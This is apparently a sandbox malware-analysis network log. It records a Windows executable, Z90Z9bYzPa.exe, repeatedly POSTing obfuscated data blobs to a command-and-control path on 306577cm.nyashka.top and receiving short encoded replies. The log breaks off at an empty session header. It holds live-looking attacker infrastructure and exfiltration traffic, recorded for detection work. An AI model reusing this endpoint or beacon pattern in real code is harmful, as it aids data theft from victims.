Jan 7, 2025 11:58:48.698971033 CET	158	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 07 Jan 2025 10:58:45 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 34 5a 5f 57 Data Ascii: 4Z_W

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
120	192.168.2.4	50127	185.158.202.52	80	7560	C:\Users\user\Desktop\Z90Z9bYzPa.exe

Timestamp	Bytes transferred	Direction	Data
Jan 7, 2025 11:58:48.832839012 CET	284	OUT	POST /LowServerflowerwordpress.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0 Host: 306577cm.nyashka.top Content-Length: 2536 Expect: 100-continue Connection: Keep-Alive
Jan 7, 2025 11:58:49.183298111 CET	2536	OUT	Data Raw: 50 5d 5c 5b 5f 45 5c 50 5a 59 51 55 5a 5e 50 56 55 54 5b 5e 55 53 54 5f 59 59 59 51 5e 59 5d 5e 5c 5d 56 45 52 5a 56 5d 5f 51 54 5d 5b 5e 52 5a 56 57 5e 5c 5a 53 51 5f 52 57 50 5e 5b 56 5d 59 58 53 5a 58 5a 58 58 54 5f 58 5f 5e 5e 5c 5e 54 50 5f Data Ascii: P]\[_E\PZYQUZ^PVUT[^UST_YYYQ^Y]^\]VERZV]_QT][^RZVW^\ZSQ_RWP^[V]YXSZXZXXT_X_^^\^TP_\WVE\[SZYY[XZV^ZBVZ\[XZ]][_UGQ^G[QXXTP[PY\P\B[__[_ZXU^\_XRTWYRX[\]X\[@BYG[X_PUYS_]]^\]S_ZTQX_S]YTP[QXU%^((3+]6(03%8=$<>".;>:0U$?"08\,4%[/ Q-
Jan 7, 2025 11:58:49.498234034 CET	25	IN	HTTP/1.1 100 Continue
Jan 7, 2025 11:58:49.631319046 CET	158	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 07 Jan 2025 10:58:46 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 34 5a 5f 57 Data Ascii: 4Z_W

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
121	192.168.2.4	50128	185.158.202.52	80	7560	C:\Users\user\Desktop\Z90Z9bYzPa.exe

Timestamp	Bytes transferred	Direction	Data
Jan 7, 2025 11:58:49.766380072 CET	284	OUT	POST /LowServerflowerwordpress.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0 Host: 306577cm.nyashka.top Content-Length: 2536 Expect: 100-continue Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
122	192.168.2.4	50129	185.158.202.52	80	7560	C:\Users\user\Desktop\Z90Z9bYzPa.exe

Timestamp	Bytes transferred	Direction	Data
Jan 7, 2025 11:58:49.818636894 CET	284	OUT	POST /LowServerflowerwordpress.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0 Host: 306577cm.nyashka.top Content-Length: 1860 Expect: 100-continue Connection: Keep-Alive
Jan 7, 2025 11:58:50.167705059 CET	1860	OUT	Data Raw: 50 58 5c 53 5f 41 5c 55 5a 59 51 55 5a 5b 50 55 55 50 5b 5a 55 52 54 53 59 59 59 51 5e 59 5d 5e 5c 5d 56 45 52 5a 56 5d 5f 51 54 5d 5b 5e 52 5a 56 57 5e 5c 5a 53 51 5f 52 57 50 5e 5b 56 5d 59 58 53 5a 58 5a 58 58 54 5f 58 5f 5e 5e 5c 5e 54 50 5f Data Ascii: PX\S_A\UZYQUZ[PUUP[ZURTSYYYQ^Y]^\]VERZV]_QT][^RZVW^\ZSQ_RWP^[V]YXSZXZXXT_X_^^\^TP_\WVE\[SZYY[XZV^ZBVZ\[XZ]][_UGQ^G[QXXTP[PY\P\B[__[_ZXU^\_XRTWYRX[\]X\[@BYG[X_PUYS_]]^\]S_ZTQX_S]YTP[QXU&(!2]>#/[50$%40;5\056>()?3(X 0/-%[/ Q-
Jan 7, 2025 11:58:50.474014044 CET	25	IN	HTTP/1.1 100 Continue
Jan 7, 2025 11:58:50.606745005 CET	308	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 07 Jan 2025 10:58:47 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 152 Connection: keep-alive Data Raw: 06 12 26 58 36 34 02 09 27 03 20 0c 33 2b 36 55 3f 0b 26 07 3f 0d 31 02 30 01 23 54 32 3c 09 5f 35 2f 3c 43 3d 11 36 00 23 23 22 55 26 39 28 5c 00 1b 27 00 27 54 27 53 3e 21 32 54 31 0e 3e 14 31 0c 20 1b 22 2e 3a 1b 22 29 36 0a 34 3d 0a 1a 3a 10 28 0c 3f 1d 3c 07 39 09 24 03 20 29 20 51 0d 17 38 57 30 10 2b 01 33 2c 07 00 21 27 27 0d 23 35 0c 00 31 2c 0b 02 26 3d 06 02 3c 29 24 58 21 3c 03 5f 22 16 3c 0d 35 3a 0f 0a 3e 3c 23 5d 22 00 20 52 0d 33 58 4f Data Ascii: &X64' 3+6U?&?10#T2<_5/<C=6##"U&9(\''T'S>!2T1>1 ".:")64=:(?<9$ ) Q8W0+3,!''#51,&=<)$X!<_"<5:><#]" R3XO

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
123	192.168.2.4	50130	185.158.202.52	80	7560	C:\Users\user\Desktop\Z90Z9bYzPa.exe

Timestamp	Bytes transferred	Direction	Data
Jan 7, 2025 11:58:49.936763048 CET	284	OUT	POST /LowServerflowerwordpress.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0 Host: 306577cm.nyashka.top Content-Length: 2536 Expect: 100-continue Connection: Keep-Alive
Jan 7, 2025 11:58:50.292620897 CET	2536	OUT	Data Raw: 50 59 59 5c 5a 43 59 57 5a 59 51 55 5a 54 50 51 55 53 5b 53 55 56 54 53 59 59 59 51 5e 59 5d 5e 5c 5d 56 45 52 5a 56 5d 5f 51 54 5d 5b 5e 52 5a 56 57 5e 5c 5a 53 51 5f 52 57 50 5e 5b 56 5d 59 58 53 5a 58 5a 58 58 54 5f 58 5f 5e 5e 5c 5e 54 50 5f Data Ascii: PYY\ZCYWZYQUZTPQUS[SUVTSYYYQ^Y]^\]VERZV]_QT][^RZVW^\ZSQ_RWP^[V]YXSZXZXXT_X_^^\^TP_\WVE\[SZYY[XZV^ZBVZ\[XZ]][_UGQ^G[QXXTP[PY\P\B[__[_ZXU^\_XRTWYRX[\]X\[@BYG[X_PUYS_]]^\]S_ZTQX_S]YTP[QXU%<2?$"8$C73X055>))$W%<7"#-%[/ Q-
Jan 7, 2025 11:58:50.581619978 CET	25	IN	HTTP/1.1 100 Continue
Jan 7, 2025 11:58:50.714515924 CET	158	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 07 Jan 2025 10:58:47 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 34 5a 5f 57 Data Ascii: 4Z_W

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
124	192.168.2.4	50131	185.158.202.52	80	7560	C:\Users\user\Desktop\Z90Z9bYzPa.exe

Timestamp	Bytes transferred	Direction	Data
Jan 7, 2025 11:58:50.849769115 CET	260	OUT	POST /LowServerflowerwordpress.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0 Host: 306577cm.nyashka.top Content-Length: 2536 Expect: 100-continue
Jan 7, 2025 11:58:51.198870897 CET	2536	OUT	Data Raw: 50 5c 5c 5c 5f 43 5c 51 5a 59 51 55 5a 5f 50 53 55 53 5b 58 55 5e 54 5b 59 59 59 51 5e 59 5d 5e 5c 5d 56 45 52 5a 56 5d 5f 51 54 5d 5b 5e 52 5a 56 57 5e 5c 5a 53 51 5f 52 57 50 5e 5b 56 5d 59 58 53 5a 58 5a 58 58 54 5f 58 5f 5e 5e 5c 5e 54 50 5f Data Ascii: P\\\_C\QZYQUZ_PSUS[XU^T[YYYQ^Y]^\]VERZV]_QT][^RZVW^\ZSQ_RWP^[V]YXSZXZXXT_X_^^\^TP_\WVE\[SZYY[XZV^ZBVZ\[XZ]][_UGQ^G[QXXTP[PY\P\B[__[_ZXU^\_XRTWYRX[\]X\[@BYG[X_PUYS_]]^\]S_ZTQX_S]YTP[QXU%+2&([";Y0C '\3,"5/)9,%?8Y"# ^-%[/ Q-$
Jan 7, 2025 11:58:51.501331091 CET	25	IN	HTTP/1.1 100 Continue
Jan 7, 2025 11:58:51.634046078 CET	158	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 07 Jan 2025 10:58:48 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 34 5a 5f 57 Data Ascii: 4Z_W

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
125	192.168.2.4	50132	185.158.202.52	80	7560	C:\Users\user\Desktop\Z90Z9bYzPa.exe

Timestamp	Bytes transferred	Direction	Data
Jan 7, 2025 11:58:51.763737917 CET	284	OUT	POST /LowServerflowerwordpress.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0 Host: 306577cm.nyashka.top Content-Length: 2536 Expect: 100-continue Connection: Keep-Alive
Jan 7, 2025 11:58:52.120858908 CET	2536	OUT	Data Raw: 55 58 5c 5c 5f 49 59 53 5a 59 51 55 5a 5b 50 5d 55 57 5b 5b 55 57 54 5b 59 59 59 51 5e 59 5d 5e 5c 5d 56 45 52 5a 56 5d 5f 51 54 5d 5b 5e 52 5a 56 57 5e 5c 5a 53 51 5f 52 57 50 5e 5b 56 5d 59 58 53 5a 58 5a 58 58 54 5f 58 5f 5e 5e 5c 5e 54 50 5f Data Ascii: UX\\_IYSZYQUZ[P]UW[[UWT[YYYQ^Y]^\]VERZV]_QT][^RZVW^\ZSQ_RWP^[V]YXSZXZXXT_X_^^\^TP_\WVE\[SZYY[XZV^ZBVZ\[XZ]][_UGQ^G[QXXTP[PY\P\B[__[_ZXU^\_XRTWYRX[\]X\[@BYG[X_PUYS_]]^\]S_ZTQX_S]YTP[QXU%]+%+/\ #<3V05]'/>6'>:?$?4\##0.$%[/ Q-
Jan 7, 2025 11:58:52.430056095 CET	25	IN	HTTP/1.1 100 Continue
Jan 7, 2025 11:58:52.595041990 CET	158	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 07 Jan 2025 10:58:49 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 34 5a 5f 57 Data Ascii: 4Z_W

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
126	192.168.2.4	50133	185.158.202.52	80	7560	C:\Users\user\Desktop\Z90Z9bYzPa.exe

Timestamp	Bytes transferred	Direction	Data
Jan 7, 2025 11:58:52.721081018 CET	284	OUT	POST /LowServerflowerwordpress.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0 Host: 306577cm.nyashka.top Content-Length: 2536 Expect: 100-continue Connection: Keep-Alive
Jan 7, 2025 11:58:53.073828936 CET	2536	OUT	Data Raw: 50 5d 5c 52 5f 44 59 55 5a 59 51 55 5a 5d 50 5d 55 55 5b 5e 55 52 54 52 59 59 59 51 5e 59 5d 5e 5c 5d 56 45 52 5a 56 5d 5f 51 54 5d 5b 5e 52 5a 56 57 5e 5c 5a 53 51 5f 52 57 50 5e 5b 56 5d 59 58 53 5a 58 5a 58 58 54 5f 58 5f 5e 5e 5c 5e 54 50 5f Data Ascii: P]\R_DYUZYQUZ]P]UU[^URTRYYYQ^Y]^\]VERZV]_QT][^RZVW^\ZSQ_RWP^[V]YXSZXZXXT_X_^^\^TP_\WVE\[SZYY[XZV^ZBVZ\[XZ]][_UGQ^G[QXXTP[PY\P\B[__[_ZXU^\_XRTWYRX[\]X\[@BYG[X_PUYS_]]^\]S_ZTQX_S]YTP[QXU&?!<U/!08' P%;!$Z!Y">9?07 U/,$%[/ Q-,
Jan 7, 2025 11:58:53.386117935 CET	25	IN	HTTP/1.1 100 Continue
Jan 7, 2025 11:58:53.554688931 CET	158	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 07 Jan 2025 10:58:50 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 34 5a 5f 57 Data Ascii: 4Z_W

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
127	192.168.2.4	50134	185.158.202.52	80	7560	C:\Users\user\Desktop\Z90Z9bYzPa.exe

Timestamp	Bytes transferred	Direction	Data
Jan 7, 2025 11:58:53.686106920 CET	284	OUT	POST /LowServerflowerwordpress.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0 Host: 306577cm.nyashka.top Content-Length: 2536 Expect: 100-continue Connection: Keep-Alive
Jan 7, 2025 11:58:54.044317007 CET	2536	OUT	Data Raw: 50 53 59 59 5f 46 59 5b 5a 59 51 55 5a 5a 50 51 55 56 5b 5c 55 53 54 5c 59 59 59 51 5e 59 5d 5e 5c 5d 56 45 52 5a 56 5d 5f 51 54 5d 5b 5e 52 5a 56 57 5e 5c 5a 53 51 5f 52 57 50 5e 5b 56 5d 59 58 53 5a 58 5a 58 58 54 5f 58 5f 5e 5e 5c 5e 54 50 5f Data Ascii: PSYY_FY[ZYQUZZPQUV[\UST\YYYQ^Y]^\]VERZV]_QT][^RZVW^\ZSQ_RWP^[V]YXSZXZXXT_X_^^\^TP_\WVE\[SZYY[XZV^ZBVZ\[XZ]][_UGQ^G[QXXTP[PY\P\B[__[_ZXU^\_XRTWYRX[\]X\[@BYG[X_PUYS_]]^\]S_ZTQX_S]YTP[QXU%<<3'^5#<0<%(!3?*"-/(970/?" \:%[/ Q-0
Jan 7, 2025 11:58:54.322851896 CET	25	IN	HTTP/1.1 100 Continue
Jan 7, 2025 11:58:54.451139927 CET	158	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 07 Jan 2025 10:58:50 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 34 5a 5f 57 Data Ascii: 4Z_W

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
128	192.168.2.4	50135	185.158.202.52	80	7560	C:\Users\user\Desktop\Z90Z9bYzPa.exe

Timestamp	Bytes transferred	Direction	Data
Jan 7, 2025 11:58:54.578906059 CET	284	OUT	POST /LowServerflowerwordpress.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0 Host: 306577cm.nyashka.top Content-Length: 2536 Expect: 100-continue Connection: Keep-Alive
Jan 7, 2025 11:58:54.933336020 CET	2536	OUT	Data Raw: 50 58 5c 5e 5a 44 5c 55 5a 59 51 55 5a 5b 50 51 55 57 5b 5c 55 50 54 5c 59 59 59 51 5e 59 5d 5e 5c 5d 56 45 52 5a 56 5d 5f 51 54 5d 5b 5e 52 5a 56 57 5e 5c 5a 53 51 5f 52 57 50 5e 5b 56 5d 59 58 53 5a 58 5a 58 58 54 5f 58 5f 5e 5e 5c 5e 54 50 5f Data Ascii: PX\^ZD\UZYQUZ[PQUW[\UPT\YYYQ^Y]^\]VERZV]_QT][^RZVW^\ZSQ_RWP^[V]YXSZXZXXT_X_^^\^TP_\WVE\[SZYY[XZV^ZBVZ\[XZ]][_UGQ^G[QXXTP[PY\P\B[__[_ZXU^\_XRTWYRX[\]X\[@BYG[X_PUYS_]]^\]S_ZTQX_S]YTP[QXU%^("9?#! $5<T'3<)!-0T= V'<(_73-4%[/ Q-
Jan 7, 2025 11:58:55.215739965 CET	25	IN	HTTP/1.1 100 Continue
Jan 7, 2025 11:58:55.343053102 CET	158	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 07 Jan 2025 10:58:51 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 34 5a 5f 57 Data Ascii: 4Z_W

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
129	192.168.2.4	50136	185.158.202.52	80	7560	C:\Users\user\Desktop\Z90Z9bYzPa.exe

Timestamp	Bytes transferred	Direction	Data
Jan 7, 2025 11:58:55.468606949 CET	284	OUT	POST /LowServerflowerwordpress.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0 Host: 306577cm.nyashka.top Content-Length: 2536 Expect: 100-continue Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
130	192.168.2.4	50137	185.158.202.52	80	7560	C:\Users\user\Desktop\Z90Z9bYzPa.exe

Timestamp	Bytes transferred	Direction	Data
Jan 7, 2025 11:58:55.629436016 CET	284	OUT	POST /LowServerflowerwordpress.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0 Host: 306577cm.nyashka.top Content-Length: 1860 Expect: 100-continue Connection: Keep-Alive
Jan 7, 2025 11:58:55.980495930 CET	1860	OUT	Data Raw: 50 58 5c 53 5f 43 59 52 5a 59 51 55 5a 5d 50 5c 55 55 5b 5a 55 53 54 5f 59 59 59 51 5e 59 5d 5e 5c 5d 56 45 52 5a 56 5d 5f 51 54 5d 5b 5e 52 5a 56 57 5e 5c 5a 53 51 5f 52 57 50 5e 5b 56 5d 59 58 53 5a 58 5a 58 58 54 5f 58 5f 5e 5e 5c 5e 54 50 5f Data Ascii: PX\S_CYRZYQUZ]P\UU[ZUST_YYYQ^Y]^\]VERZV]_QT][^RZVW^\ZSQ_RWP^[V]YXSZXZXXT_X_^^\^TP_\WVE\[SZYY[XZV^ZBVZ\[XZ]][_UGQ^G[QXXTP[PY\P\B[__[_ZXU^\_XRTWYRX[\]X\[@BYG[X_PUYS_]]^\]S_ZTQX_S]YTP[QXU%Y(^+_!/$0;%Y3!8:<3?7#3 ^9$%[/ Q-,
Jan 7, 2025 11:58:56.264163017 CET	25	IN	HTTP/1.1 100 Continue
Jan 7, 2025 11:58:56.391745090 CET	308	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 07 Jan 2025 10:58:52 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 152 Connection: keep-alive Data Raw: 06 12 26 5e 23 34 01 1b 30 03 06 0f 26 38 31 0f 28 0c 0c 00 28 23 3e 13 24 01 24 08 26 12 0d 10 21 12 28 45 29 2f 29 5c 22 0e 22 51 32 39 28 5c 00 1b 24 5a 24 22 33 1e 2a 32 08 55 27 24 3e 58 26 54 3b 01 36 03 00 1b 35 17 3d 55 23 2e 24 56 2d 10 28 0b 2b 0a 27 58 3a 24 2f 58 20 13 20 51 0d 17 38 56 33 07 34 5b 27 2c 0c 5c 23 34 34 50 34 26 21 12 32 12 31 01 26 3e 3c 02 29 2a 3c 5a 35 12 31 5d 21 06 02 0e 21 2a 29 0a 3d 3c 23 5d 22 00 20 52 0d 33 58 4f Data Ascii: &^#40&81((#>$$&!(E)/)\""Q29(\$Z$"32U'$>X&T;65=U#.$V-(+'X:$/X Q8V34[',\#44P4&!21&><)<Z51]!!*)=<#]" R3XO

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
131	192.168.2.4	50138	185.158.202.52	80	7560	C:\Users\user\Desktop\Z90Z9bYzPa.exe

Timestamp	Bytes transferred	Direction	Data
Jan 7, 2025 11:58:55.745870113 CET	284	OUT	POST /LowServerflowerwordpress.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0 Host: 306577cm.nyashka.top Content-Length: 2536 Expect: 100-continue Connection: Keep-Alive
Jan 7, 2025 11:58:56.108362913 CET	2536	OUT	Data Raw: 50 53 5c 53 5f 46 59 55 5a 59 51 55 5a 58 50 54 55 5e 5b 5d 55 5f 54 52 59 59 59 51 5e 59 5d 5e 5c 5d 56 45 52 5a 56 5d 5f 51 54 5d 5b 5e 52 5a 56 57 5e 5c 5a 53 51 5f 52 57 50 5e 5b 56 5d 59 58 53 5a 58 5a 58 58 54 5f 58 5f 5e 5e 5c 5e 54 50 5f Data Ascii: PS\S_FYUZYQUZXPTU^[]U_TRYYYQ^Y]^\]VERZV]_QT][^RZVW^\ZSQ_RWP^[V]YXSZXZXXT_X_^^\^TP_\WVE\[SZYY[XZV^ZBVZ\[XZ]][_UGQ^G[QXXTP[PY\P\B[__[_ZXU^\_XRTWYRX[\]X\[@BYG[X_PUYS_]]^\]S_ZTQX_S]YTP[QXU%+1<#^ \'5P')'5Y!./=)3Y$43<.%[/ Q-8
Jan 7, 2025 11:58:56.388413906 CET	25	IN	HTTP/1.1 100 Continue
Jan 7, 2025 11:58:56.515217066 CET	158	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 07 Jan 2025 10:58:52 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 34 5a 5f 57 Data Ascii: 4Z_W

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
132	192.168.2.4	50139	185.158.202.52	80	7560	C:\Users\user\Desktop\Z90Z9bYzPa.exe

Timestamp	Bytes transferred	Direction	Data
Jan 7, 2025 11:58:56.741657019 CET	260	OUT	POST /LowServerflowerwordpress.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0 Host: 306577cm.nyashka.top Content-Length: 2536 Expect: 100-continue
Jan 7, 2025 11:58:57.089648962 CET	2536	OUT	Data Raw: 50 53 5c 5d 5f 46 5c 57 5a 59 51 55 5a 5d 50 52 55 56 5b 5f 55 52 54 5a 59 59 59 51 5e 59 5d 5e 5c 5d 56 45 52 5a 56 5d 5f 51 54 5d 5b 5e 52 5a 56 57 5e 5c 5a 53 51 5f 52 57 50 5e 5b 56 5d 59 58 53 5a 58 5a 58 58 54 5f 58 5f 5e 5e 5c 5e 54 50 5f Data Ascii: PS\]_F\WZYQUZ]PRUV[_URTZYYYQ^Y]^\]VERZV]_QT][^RZVW^\ZSQ_RWP^[V]YXSZXZXXT_X_^^\^TP_\WVE\[SZYY[XZV^ZBVZ\[XZ]][_UGQ^G[QXXTP[PY\P\B[__[_ZXU^\_XRTWYRX[\]X\[@BYG[X_PUYS_]]^\]S_ZTQX_S]YTP[QXU%<2&(86+X$54Q38%'?9[!><W*)''8^40<^.4%[/ Q-,
Jan 7, 2025 11:58:57.381663084 CET	25	IN	HTTP/1.1 100 Continue
Jan 7, 2025 11:58:57.515774012 CET	158	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 07 Jan 2025 10:58:53 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 34 5a 5f 57 Data Ascii: 4Z_W

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
133	192.168.2.4	50140	185.158.202.52	80	7560	C:\Users\user\Desktop\Z90Z9bYzPa.exe

Timestamp	Bytes transferred	Direction	Data
Jan 7, 2025 11:58:57.638928890 CET	284	OUT	POST /LowServerflowerwordpress.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0 Host: 306577cm.nyashka.top Content-Length: 2536 Expect: 100-continue Connection: Keep-Alive
Jan 7, 2025 11:58:57.998347044 CET	2536	OUT	Data Raw: 50 5b 5c 5c 5f 43 5c 55 5a 59 51 55 5a 59 50 51 55 54 5b 5e 55 55 54 5e 59 59 59 51 5e 59 5d 5e 5c 5d 56 45 52 5a 56 5d 5f 51 54 5d 5b 5e 52 5a 56 57 5e 5c 5a 53 51 5f 52 57 50 5e 5b 56 5d 59 58 53 5a 58 5a 58 58 54 5f 58 5f 5e 5e 5c 5e 54 50 5f Data Ascii: P[\\_C\UZYQUZYPQUT[^UUT^YYYQ^Y]^\]VERZV]_QT][^RZVW^\ZSQ_RWP^[V]YXSZXZXXT_X_^^\^TP_\WVE\[SZYY[XZV^ZBVZ\[XZ]][_UGQ^G[QXXTP[PY\P\B[__[_ZXU^\_XRTWYRX[\]X\[@BYG[X_PUYS_]]^\]S_ZTQX_S]YTP[QXU%<?U?["X'C<U08)^'%[5>(><V'<# ^9%[/ Q-<
Jan 7, 2025 11:58:58.286161900 CET	25	IN	HTTP/1.1 100 Continue
Jan 7, 2025 11:58:58.421103954 CET	158	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 07 Jan 2025 10:58:54 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 34 5a 5f 57 Data Ascii: 4Z_W

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
134	192.168.2.4	50141	185.158.202.52	80	7560	C:\Users\user\Desktop\Z90Z9bYzPa.exe

Timestamp	Bytes transferred	Direction	Data
Jan 7, 2025 11:58:58.546633959 CET	284	OUT	POST /LowServerflowerwordpress.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0 Host: 306577cm.nyashka.top Content-Length: 2536 Expect: 100-continue Connection: Keep-Alive
Jan 7, 2025 11:58:58.901953936 CET	2536	OUT	Data Raw: 50 53 5c 5f 5f 47 59 5b 5a 59 51 55 5a 5e 50 57 55 56 5b 5f 55 56 54 5d 59 59 59 51 5e 59 5d 5e 5c 5d 56 45 52 5a 56 5d 5f 51 54 5d 5b 5e 52 5a 56 57 5e 5c 5a 53 51 5f 52 57 50 5e 5b 56 5d 59 58 53 5a 58 5a 58 58 54 5f 58 5f 5e 5e 5c 5e 54 50 5f Data Ascii: PS\__GY[ZYQUZ^PWUV[_UVT]YYYQ^Y]^\]VERZV]_QT][^RZVW^\ZSQ_RWP^[V]YXSZXZXXT_X_^^\^TP_\WVE\[SZYY[XZV^ZBVZ\[XZ]][_UGQ^G[QXXTP[PY\P\B[__[_ZXU^\_XRTWYRX[\]X\[@BYG[X_PUYS_]]^\]S_ZTQX_S]YTP[QXU&?1-?3#"0;]04%;9X0<#-8R)70?< '-%[/ Q-
Jan 7, 2025 11:58:59.212985992 CET	25	IN	HTTP/1.1 100 Continue
Jan 7, 2025 11:58:59.348721027 CET	158	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 07 Jan 2025 10:58:55 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 34 5a 5f 57 Data Ascii: 4Z_W

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
135	192.168.2.4	50142	185.158.202.52	80	7560	C:\Users\user\Desktop\Z90Z9bYzPa.exe

Timestamp	Bytes transferred	Direction	Data
Jan 7, 2025 11:58:59.962615967 CET	284	OUT	POST /LowServerflowerwordpress.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0 Host: 306577cm.nyashka.top Content-Length: 2536 Expect: 100-continue Connection: Keep-Alive
Jan 7, 2025 11:59:00.308237076 CET	2536	OUT	Data Raw: 50 5a 5c 5d 5f 48 5c 50 5a 59 51 55 5a 59 50 57 55 55 5b 5a 55 53 54 5e 59 59 59 51 5e 59 5d 5e 5c 5d 56 45 52 5a 56 5d 5f 51 54 5d 5b 5e 52 5a 56 57 5e 5c 5a 53 51 5f 52 57 50 5e 5b 56 5d 59 58 53 5a 58 5a 58 58 54 5f 58 5f 5e 5e 5c 5e 54 50 5f Data Ascii: PZ\]_H\PZYQUZYPWUU[ZUST^YYYQ^Y]^\]VERZV]_QT][^RZVW^\ZSQ_RWP^[V]YXSZXZXXT_X_^^\^TP_\WVE\[SZYY[XZV^ZBVZ\[XZ]][_UGQ^G[QXXTP[PY\P\B[__[_ZXU^\_XRTWYRX[\]X\[@BYG[X_PUYS_]]^\]S_ZTQX_S]YTP[QXU%X<2=+#+Z!V/0$U';:3,5X!(),W'Y(^#U0_9%[/ Q-<
Jan 7, 2025 11:59:00.618024111 CET	25	IN	HTTP/1.1 100 Continue
Jan 7, 2025 11:59:01.117683887 CET	158	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 07 Jan 2025 10:58:57 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 34 5a 5f 57 Data Ascii: 4Z_W

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
136	192.168.2.4	50143	185.158.202.52	80	7560	C:\Users\user\Desktop\Z90Z9bYzPa.exe

Timestamp	Bytes transferred	Direction	Data
